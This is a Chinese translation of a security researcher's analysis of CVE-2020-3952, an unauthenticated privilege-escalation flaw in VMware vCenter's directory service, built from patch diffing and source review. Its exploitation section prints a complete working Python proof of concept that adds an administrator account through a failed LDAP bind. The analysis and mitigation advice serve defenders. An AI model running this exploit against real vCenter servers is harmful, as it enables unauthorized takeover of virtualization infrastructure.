VMware虚拟机最新高危敏感信息泄露漏洞分析(CVE-2020-3952)
2020-04-29 10:45:00 Author: www.4hou.com(查看原文) 阅读量:444 收藏

导语:上周四,VMware发布了CVE-2020-3952的安全公告,公告中称 VMware Directory Service(vmdir)存在敏感信息泄露漏洞。除了最新版本的其他vCenter Server v6.7都会受到攻击。

0x01  漏洞描述

近期,VMware发布了CVE-2020-3952的安全公告,公告中称 VMware Directory Service(vmdir)存在敏感信息泄露漏洞。除了最新版本的其他vCenter Server v6.7都会受到攻击。

该漏洞的CVSS得分为10.0,这个分数就非常高了。尽管获得了许多信息,但仍未找到有关该漏洞的技术细节记录,希望更多地了解其风险,并了解攻击者如何利用它们,因此开始分析VMware下发的补丁程序vCenter Appliance 6.7 Update 3f中的更新。

通过梳理对vCenter Directory服务的更新,重建了导致此漏洞的漏洞代码流。分析表明,通过三个简单的未经身份验证的LDAP命令,仅对网络进行vCenter目录服务访问的攻击者可以向vCenter Directory添加管理员帐户。

通过此PoC可以实现整个vSphere部署的远程接管。

该漏洞是由vmdir的旧版LDAP处理代码中的两个严重问题引起的:

1. VmDirLegacyAccessCheck函数中的漏洞,导致在权限检查失败时返回“已授予访问权限”。

2. 一个安全设计缺陷,假设它是内部操作,该缺陷会授予不带令牌的LDAP会话root特权。

0x02  补丁分析

由于VMware将其新版本发布为磁盘映像而不是修补程序,因此必须在旧版本Update 3e和新版本之间进行区分。挂载磁盘映像显示,大多数情况下,这些发行版由一长串RPM组成。一旦提取了所有这些软件包的内容,就可以通过并列比较散列来查看实际更新了哪些文件。

不幸的是,事实证明,自上一个发行版以来,已更新了近1500个文件,远远超过可以手工检出的文件。猜测罪魁祸首可能在名称中的某处带有“ vmdir”。

缩减为以下列表:

 usr/lib/vmware-vmdir/lib64/libcsrp.a 
 usr/lib/vmware-vmdir/lib64/libcsrp.la 
 usr/lib/vmware-vmdir/lib64/libgssapi_ntlm.a 
 usr/lib/vmware-vmdir/lib64/libgssapi_ntlm.la 
 usr/lib/vmware-vmdir/lib64/libgssapi_srp.a 
 usr/lib/vmware-vmdir/lib64/libgssapi_srp.la 
 usr/lib/vmware-vmdir/lib64/libgssapi_unix.a 
 usr/lib/vmware-vmdir/lib64/libgssapi_unix.la 
 usr/lib/vmware-vmdir/lib64/libkrb5crypto.a 
 usr/lib/vmware-vmdir/lib64/libkrb5crypto.la 
 usr/lib/vmware-vmdir/lib64/libsaslvmdirdb.a 
 usr/lib/vmware-vmdir/lib64/libsaslvmdirdb.la 
 usr/lib/vmware-vmdir/lib64/libvmdirauth.a 
 usr/lib/vmware-vmdir/lib64/libvmdirauth.la 
 usr/lib/vmware-vmdir/lib64/libvmdirclient.a 
 usr/lib/vmware-vmdir/lib64/libvmdirclient.la 
 usr/lib/vmware-vmdir/lib64/libvmkdcserv.a 
 usr/lib/vmware-vmdir/lib64/libvmkdcserv.la 
 usr/lib/vmware-vmdir/sbin/vmdird

列出了内置于单个已编译二进制文件中的静态链接库:vmdird。换句话说,从3e更新开始,vmdir服务器就已经更新了。

在进行适当的文件 diff 之前,想知道是否对vmdird中的导出符号进行了明显的更新。

比较的结果令人震惊:

 jj@ubuntu:~/misc/vms$ diff <(objdump -T patched_extracted/usr/lib/vmware-vmdir/sbin/vmdird | 
 cut -f 2- -d " " | sort | uniq)  g    DF .text 00000000000000ce  Base        VmDirLegacyAccessCheck
 1440d1440
 < g DF .text 00000000000000ef Base VmDirLegacyAccessCheck 2194a2195 > g    DF .text 000000000000038d  Base        VmDirSrvAccessCheck
 2199d2199
 < g    DF .text 0000000000000393  Base        VmDirSrvAccessCheck

漏洞函数根本不是VmDirLegacyAccessCheck函数,VMware在描述中写道:“当vmdir服务开始声明启用了旧版ACL模式时,受影响的部署将创建一个日志条目。”

在IDA中列出了这些功能的反汇编。这是未打补丁的版本,已经突出显示了可以更新函数返回值的所有内容。

 __int64 __fastcall VmDirLegacyAccessCheck(__int64 a1, __int64 a2, __int64 a3, 
 unsigned int a4)
 {
   unsigned int v5; // [rsp+14h] [rbp-2Ch]@1
   __int64 v6; // [rsp+18h] [rbp-28h]@1
    unsigned int v7; // [rsp+3Ch] [rbp-4h]@1
 
   v6 = a3;
   v5 = a4;
   v7 = 0;  // VMDIR_SUCCESS
   if ( !(unsigned __int8)sub_4EF7B1(a1, a2, a4)
     && v5 == 2
     && ((unsigned __int8)sub_4EF510(v6) || (unsigned __int8)sub_4EF218(v6) || (unsigned __int8)VmDirIsSchemaEntry(v6)) )
   {
     v7 = 9114;  // VMDIR_ERROR_UNWILLING_TO_PERFORM
     VmDirLog1(4);
   }
   return v7;
 }

这是已修补的:

 __int64 __fastcall VmDirLegacyAccessCheck(__int64 a1, __int64 a2, __int64 a3, unsigned int a4)
 {
   unsigned int v5; // [rsp+14h] [rbp-2Ch]@1
   __int64 v6; // [rsp+18h] [rbp-28h]@1
   unsigned int v7; // [rsp+3Ch] [rbp-4h]@1
 
   v6 = a3;
   v5 = a4;
   v7 = 9207;  // VMDIR_ERROR_INSUFFICIENT_ACCESS
   if ( a4 == 2
     && ((unsigned __int8)sub_4EF5B1(a3) || (unsigned __int8)sub_4EF2B9(v6) || (unsigned __int8)VmDirIsSchemaEntry(v6)) )
   {
     v7 = 9114;  // VMDIR_ERROR_UNWILLING_TO_PERFORM
     VmDirLog1(4);
   }
   else if ( (unsigned __int8)sub_4EF852(a1, a2, v5) )
   {
     v7 = 0;  // VMDIR_SUCCESS
   }
   else if ( v5 == 16 && (unsigned __int8)sub_4EF220(v6) )
   {
     v7 = 0;  // VMDIR_SUCCESS
   }
   return v7;
 }

在修补版本中,如果不满足任何条件,则VmDirLegacyAccessCheck返回9207(VMDIR_ERROR_INSUFFICIENT_ACCESS)。寻找该函数的先前版本中不存在的返回值,发现了Lightwave项目。

事实证明,vmdir的代码已由VMware在其Github存储库上提供。

0x03  源码分析

很高兴在VMWare的存储库中发现了VmDirLegacyAccessCheck源代码。不仅如此,手头的代码适合该功能的新修补版本。

测试: 

1. 在旧的DB + LW 1.2设置中创建一个普通用户,例如testuser1。

2. 在修复之前,testuser1具有比所需更多的权限。 

3. 修复后,testuser1仅可以读取/写入其自己的条目,而不能进行其他操作。

因此,在修复之前至少有一个VMware的开发人员知道这里有问题,旧模式访问拥有比期望更多的权限。

image.png

修复之前,默认情况下,VmDirLegacyAccessCheck的返回值保留成功值。通过_VmDirAllowOperationBasedOnGroupMembership进行的权限检查失败,使返回值保持为0(VMDIR_SUCCESS)不变,最终授予了对该操作的访问权限。

已经找到了漏洞函数,继续看一下哪些地方调用了此函数以及如何进行漏洞利用。

0x04  漏洞点分析

安装最新的vCenter Server 6.7,也安装了6.5或6.0的未升级版本。根据VMware的说法,在存在漏洞的系统上,可以在/var/log/vmware/vmdird/vmdird-syslog.log(或Windows上的%ALLUSERSPROFILE%\ VMWare \ vCenterServer \ logs \ vmdird \ vmdir.log)下找到某个日志行:

 2020-04-06T17:50:41.860526+00:00 info vmdird  t@139910871058176: ACL MODE: Legacy

由于vCenter Server不易受到攻击,日志文件缺少此行。寻找打印此日志行的代码,将引向_VmDirIsLegacyACLMode函数:

 static
 BOOLEAN
 _VmDirIsLegacyACLMode(
     VOID
     )
 {
 ...
 
     dwError = VmDirBackendUniqKeyGetValue(
                 VMDIR_KEY_BE_GENERIC_ACL_MODE,  // "acl-mode"
                 &pValue);
 ...
 
     // We should have value "enabled" found for ACL enabled case.
     bIsLegacy = VmDirStringCompareA(pValue, VMDIR_ACL_MODE_ENABLED, FALSE) != 0;
 …
     if (bIsLegacy)
     {
         VMDIR_LOG_INFO(VMDIR_LOG_MASK_ALL, "ACL MODE: Legacy");
     }
 ...
 }

该代码显示在某个键值存储中某处应存在字符串“ acl-mode”和“ enabled”(对于非传统模式)或“ disabled”(对于传统模式)。毫无疑问,“ acl-modeenabled”在(已打补丁的)vmdir数据库文件/storage/db/vmware-vmdir/data.mdb中出现了很多次。将字符串的“启用”部分更新为其他任何值(“禁用”将更新字符串的大小,因此不这样做),然后重新启动vmdir,使所需的日志行显示在vmdird-syslog.log中。

这就解释了为什么只有vCenter Server 6.7容易受到此攻击。在升级的6.7上,vmdird二文件仍然容易受到攻击,更新的是ACL模式配置。全新安装默认为新模式(启用了acl-mode),但是升级会保留以前的配置,默认情况下启用了旧模式。

0x05  漏洞利用

在这一点上,需要找出如何触发在漏洞函数VmDirLegacyAccessCheck中结束的代码流。

image.png

正如在调用图中看到的那样,添加,修改和搜索请求都可以通过VmDirLegacyAccessCheck进行。

安装了ldap-utils并尝试使用漏洞的凭据将用户添加到vCenter计算机:

 root@computer:~# ldapadd -x -w 1234 -f hacker.ldif -h 192.168.1.130
  -D"cn=Administrator,cn=Users,dc=vsphere,dc=local"
 ldap_bind: Invalid credentials (49)

看看vmdird日志的内容:

 2020-04-15T14:20:56.079504+00:00 info vmdird  t@140564750137088: Bind failed () 
 (9234)
 2020-04-15T14:20:56.080409+00:00 err vmdird  t@140564750137088: 
 VmDirSendLdapResult: Request (Bind), Error (49), Message (), (0) socket 
 (192.168.0.254)
 2020-04-15T14:20:56.080832+00:00 err vmdird  t@140564750137088: Bind Request 
 Failed (192.168.0.254) error 49: Protocol version: 3, Bind DN: 
 "cn=Administrator,cn=Users,dc=vsphere,dc=local", Method: Simple

ldapadd首先需要绑定到服务器,然后它才能对它运行命令,但是绑定失败,并显示漏洞9234-VMDIR_ERROR_USER_INVALID_CREDENTIAL。有没有办法跳过绑定阶段?

安装python-ldap并尝试:

 dn = 'cn=Hacker,cn=Users,dc=vsphere,dc=local'
 modlist = {
     'userPrincipalName': ['[email protected]'],
     'sAMAccountName': ['hacker'],
     'givenName': ['hacker'],
     'sn': ['vsphere.local'],
     'cn': ['Hacker'],
     'uid': ['hacker'],
     'objectClass': ['top', 'person', 'organizationalPerson', 'user'],
     'userPassword': 'TheHacker1!'
 }
 
 c = ldap.initialize('ldap://192.168.1.130')
 c.add_s(dn, ldap.modlist.addModlist(modlist))
 
 Traceback (most recent call last):
   File "do_ldap.py", line 27, in 
     print c.add_s(dn, ldap.modlist.addModlist(modlist))
 ...
 ldap.INSUFFICIENT_ACCESS: {'info': u'Not bind/authenticate yet', 'desc': u'Insufficient access'}

这是来自VCenter服务器的匹配日志:

 2020-04-15T14:32:21.526506+00:00 err vmdird  t@140565521872640: 
 VmDirSendLdapResult: Request (Add), Error (50), Message (Not bind/authenticate yet), (0) socket (192.168.0.254)

在代码中查找漏洞消息“尚未绑定/未验证” 引向函数VmDirMLAdd

 int
 VmDirMLAdd(
     PVDIR_OPERATION pOperation
     )
 {
     ...
     // AnonymousBind Or in case of a failed bind, do not grant add access
     if (pOperation->conn->bIsAnonymousBind || VmDirIsFailedAccessInfo(&pOperation->conn->AccessInfo))
     {
         dwError = LDAP_INSUFFICIENT_ACCESS;
         BAIL_ON_VMDIR_ERROR_WITH_MSG(
                 dwError, pszLocalErrMsg,
                 "Not bind/authenticate yet");
     }
 
     ...
 
     dwError = VmDirInternalAddEntry(pOperation);
     BAIL_ON_VMDIR_ERROR(dwError);
     ...
 }

如代码所示,必须满足两个条件,客户端才能添加:

1. LDAP会话一定不能是匿名的,即必须指定一个域。

2. 会话中不应包含“访问失败信息”。

让从传递第一个条件开始,需要bIsAnonymousBind为FALSE。将此变量设置为FALSE的唯一代码是在VmDirMLBind中:

 int
 VmDirMLBind(
    PVDIR_OPERATION   pOperation
    )
 {
     ...
     pOperation->conn->bIsAnonymousBind = TRUE;  // default to anonymous bind
 
     switch (pOperation->request.bindReq.method)
     {
         case LDAP_AUTH_SIMPLE:
                   ...
                   pOperation->conn->bIsAnonymousBind = FALSE;
                   dwError = VmDirInternalBindEntry(pOperation);
                   BAIL_ON_VMDIR_ERROR(dwError);
                   ...
 
                 break;
 
         case LDAP_AUTH_SASL:
                 pOperation->conn->bIsAnonymousBind = FALSE;
                 dwError = _VmDirSASLBind(pOperation);
                 BAIL_ON_VMDIR_ERROR(dwError);
                ...
                 break;
 
        ...
     }
     ...
 }

请注意,无论VmDirInternalBindEntry是否成功,都会为bIsAnonymousBind分配为FALSE。换句话说,即使的绑定身份验证失败,也会通过条件的第一部分。

现在针对该条件的第二部分是VmDirIsFailedAccessInfo

 /* Check whether it is a valid accessInfo
  * (i.e.: resulted by doing a successful bind in an operation) */
 BOOLEAN
 VmDirIsFailedAccessInfo(
     PVDIR_ACCESS_INFO   pAccessInfo
     )
 {
 
     BOOLEAN     bIsFaliedAccessPermission = TRUE;
 
     if ( ! pAccessInfo->pAccessToken )
     {   // internal operation has NULL pAccessToken, yet we granted root privilege
         bIsFaliedAccessPermission = FALSE;
     }
     else
     {   // coming from LDAP protocol, we should have BIND information
         if ( ! IsNullOrEmptyString(pAccessInfo->pszBindedObjectSid)
              &&
              ! IsNullOrEmptyString(pAccessInfo->pszNormBindedDn)
              &&
              ! IsNullOrEmptyString(pAccessInfo->pszBindedDn)
            )
         {
             bIsFaliedAccessPermission = FALSE;
         }
     }
 
     return bIsFaliedAccessPermission;
 }

为了达到用户添加流程,需要使其以某种方式返回FALSE。看一下第一种方法:检查NULL访问令牌。

检查是否授予访问权限的函数允许没有访问令牌的用户进行操作,这似乎很奇怪,此案是针对“内部操作”的。大概是由vmdird在内部启动的LDAP 会将pAccessToken留空以标记它应该被允许通过,并且其他访问都将在绑定阶段失败。这是一种奇怪的方式,为此指定一个pAccessInfo-> bIsInternalOperation字段会更加清楚。

绑定失败时,pAccessInfo-> pAccessToken保留为空。这里的VmDirInternalBindEntry,这是VmDirMLBind从vmdird的消息循环。

 * Return: VmDir level error code.  Also, pOperation->ldapResult content is set.
  */
 int
 VmDirInternalBindEntry(
     PVDIR_OPERATION  pOperation
     )
 {
     DWORD                   retVal = LDAP_SUCCESS;
     ...
 
     // Normalize DN
     retVal = VmDirNormalizeDN( &(pOperation->reqDn), pOperation->pSchemaCtx );
     BAIL_ON_VMDIR_ERROR_WITH_MSG( retVal, pszLocalErrMsg, "DN normalization failed - (%u)(%s)", retVal, VDIR_SAFE_STRING(VmDirSchemaCtxGetErrorMsg(pOperation->pSchemaCtx)) );
 
 ...
 
 cleanup:
 
     VMDIR_SAFE_FREE_MEMORY( pszLocalErrMsg );
     VmDirFreeEntryContent ( &entry );
     return retVal;
 
 error:
     ...
     if (retVal)
     {
         VmDirFreeAccessInfo(&pOperation->conn->AccessInfo);
 
         VMDIR_LOG_INFO(VMDIR_LOG_MASK_ALL,
                         "Bind failed (%s) (%u)",
                         VDIR_SAFE_STRING(pszLocalErrMsg), retVal);
         retVal = LDAP_INVALID_CREDENTIALS;
         ...
     }
 
     VMDIR_SET_LDAP_RESULT_ERROR(&(pOperation->ldapResult), retVal, pszLocalErrMsg);
     goto cleanup;
 }

不正确的凭据在VmDirNormalizeDN处一直失败。这将带进入漏洞链,该漏洞链清除了pOperation-> conn-> AccessInfo-> pAccessToken。

回到双重条件:

 if (pOperation->conn->bIsAnonymousBind || 
 VmDirIsFailedAccessInfo(&pOperation->conn->AccessInfo))

现在,条件的两个部分都成立。

因此,不能只是跳过绑定并期望一切正常,但似乎即使是失败的绑定尝试也将完成此检查。

终于到了VmDirLegacyAccessCheck函数。在执行添加操作之前,VmDirInternalAddEntry调用VmDirSrvAccessCheck ,后依次调用VmDirLegacyAccessCheck。

VmDirLegacyAccessCheck是最后一道防线。其工作是检查该特定用户是否应允许这种特定类型的访问(添加或修改LDAP条目)。身份验证检查不应该允许首先到达这里,但是仍然希望此检查会阻止操作。

该差异地址在旧版方案实现中存在一个漏洞。

测试: 

1. 在旧的DB + LW 1.2设置中创建一个普通用户,例如testuser1。

2. 在修复之前,testuser1具有比所需更多的权限。 

3. 修复后,testuser1仅可以读取/写入其自己的条目,而不能进行其他操作。

如果VmDirLegacyAccessCheck总是让通过,则访问检查应该成功,并且应该添加的用户。

那么,如果忽略bind的结果,会发生什么呢?

 c = ldap.initialize('ldap://192.168.1.130')
 try:
   c.simple_bind_s(dn, 'fakepassword')
 except:
   pass
 c.add_s(dn, ldap.modlist.addModlist(modlist))

/var/log/vmware/vmdird/vmdird-syslog.log中对此没有输出,可以看到该用户的搜索请求:

 root@computer:~# ldapsearch -b "cn=Hacker,cn=Users,dc=vsphere,dc=local" -s sub -D "cn=Administrator,cn=Users,dc=vsphere,dc=local" -h 192.168.1.130 -x -w 
 # extended LDIF
 #
 # LDAPv3
 # base  with scope subtree
 # filter: (objectclass=*)
 # requesting: ALL
 #
 
 # Hacker, Users, vsphere.local
 dn: cn=Hacker,cn=Users,dc=vsphere,dc=local
 nTSecurityDescriptor:: ...
 krbPrincipalKey:: ...
 sn: vsphere.local
 userPrincipalName: [email protected]
 cn: Hacker
 givenName: hacker
 uid: hacker
 sAMAccountName: hacker
 objectClass: top
 objectClass: person
 objectClass: organizationalPerson
 objectClass: user
 
 # search result
 search: 2
 result: 0 Success
 
 # numResponses: 2
 # numEntries: 1

如果尝试与此新用户连接到vSphere,会发生什么?

image.png

在哪里可以获得“在连接到此客户端的vCenter Server系统上的权限”?让将具有相同未认证连接的Hacker用户添加到Administrator组:

 groupModList = [(ldap.MOD_ADD, 'member', [dn])]
 c.modify_s('cn=Administrators,cn=Builtin,dc=vsphere,dc=local', groupModList)

再次尝试登录:

image.png

PoC如下:

 https://github.com/guardicore/vmware_vcenter_cve_2020_3952
 
 #!/usr/bin/env python
 import ldap
 import ldap.modlist
 import sys
 
 if len(sys.argv) != 4:
     print('usage: exploit.py   ')
     exit(1)
 
 vcenter_ip = sys.argv[1]
 new_username_str = sys.argv[2]
 new_username = new_username_str.encode('utf-8')
 new_password_str = sys.argv[3]
 new_password = new_password_str.encode('utf-8')
 
 dn = 'cn=' + new_username_str + ',cn=Users,dc=vsphere,dc=local'
 
 modlist = {
     'vmwPasswordNeverExpires': [b'True'],
     'userPrincipalName': [new_username + b'@VSPHERE.LOCAL'],
     'sAMAccountName': [new_username],
     'givenName': [new_username],
     'sn': [b'vsphere.local'],
     'cn': [new_username],
     'uid': [new_username],
     'objectClass': [b'top', b'person', b'organizationalPerson', b'user'],
     'userPassword': new_password}
 
 c = ldap.initialize('ldap://' + vcenter_ip)
 try:
     c.simple_bind_s('[email protected]', 'fakepassword')
 except ldap.INVALID_CREDENTIALS:
     print('got expected ldap.INVALID_CREDENTIALS error on bind')
 except:
     print('failed to bind with unexpected error')
     raise
 else:
     print('did not receive ldap.INVALID_CREDENTIALS on bind! failing')
     exit(1)
 
 try:
     c.add_s(dn, ldap.modlist.addModlist(modlist))
 except ldap.ALREADY_EXISTS:
     print('user already exists, skipping add and granting administrator permissions')
 except:
     print('failed to add user. this vCenter may not be vulnerable to CVE-2020-3952')
     raise
 
 print('user added successfully, attempting to give it administrator permissions')
 
 groupModList = [(ldap.MOD_ADD, 'member', [dn.encode('utf-8')])]
 try:
     c.modify_s('cn=Administrators,cn=Builtin,dc=vsphere,dc=local', groupModList)
 except ldap.TYPE_OR_VALUE_EXISTS:
     print('user already had administrator permissions')
 except:
     print('user was added but failed to give it administrator permissions')
     raise
 
 print('success! you can now connect to vSphere with your credentials.')
 print('username: ' + new_username_str)
 print('password: ' + new_password_str)

0x06  缓解措施

减轻上述风险的最有效方法是为存在漏洞的vCenter Server版本安装最新补丁。或者,安装最新版本(7.0)也将安全部署vSphere。 强烈建议限制对vCenter LDAP接口的访问。实际上,这意味着除了管理用途之外,禁止通过LDAP端口(389)进行任何访问。

0x07  分析总结

尽管VMware的代码相对清晰,但从这个漏洞来看还是有很多问题。正如在代码注释和提交消息中所看到的,开发人员也至少部分地意识到了它们。如果VMware深入研究了该漏洞,他们将发现一系列需要解决的问题:bIsAnonymousBind的奇怪语义,pAccessToken处理以及从VmDirLegacyAccessCheck开始的漏洞。

不过,也许最令人困扰的事情是,对VmDirLegacyAccessCheck的漏洞修正是在大约三年前,现在才发布。对于像LDAP特权升级这样至关重要的事情,三年时间是很长的。

本文翻译自:https://www.guardicore.com/2020/04/pwning-vmware-vcenter-cve-2020-3952/如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/AAqz
如有侵权请联系:admin#unsafe.sh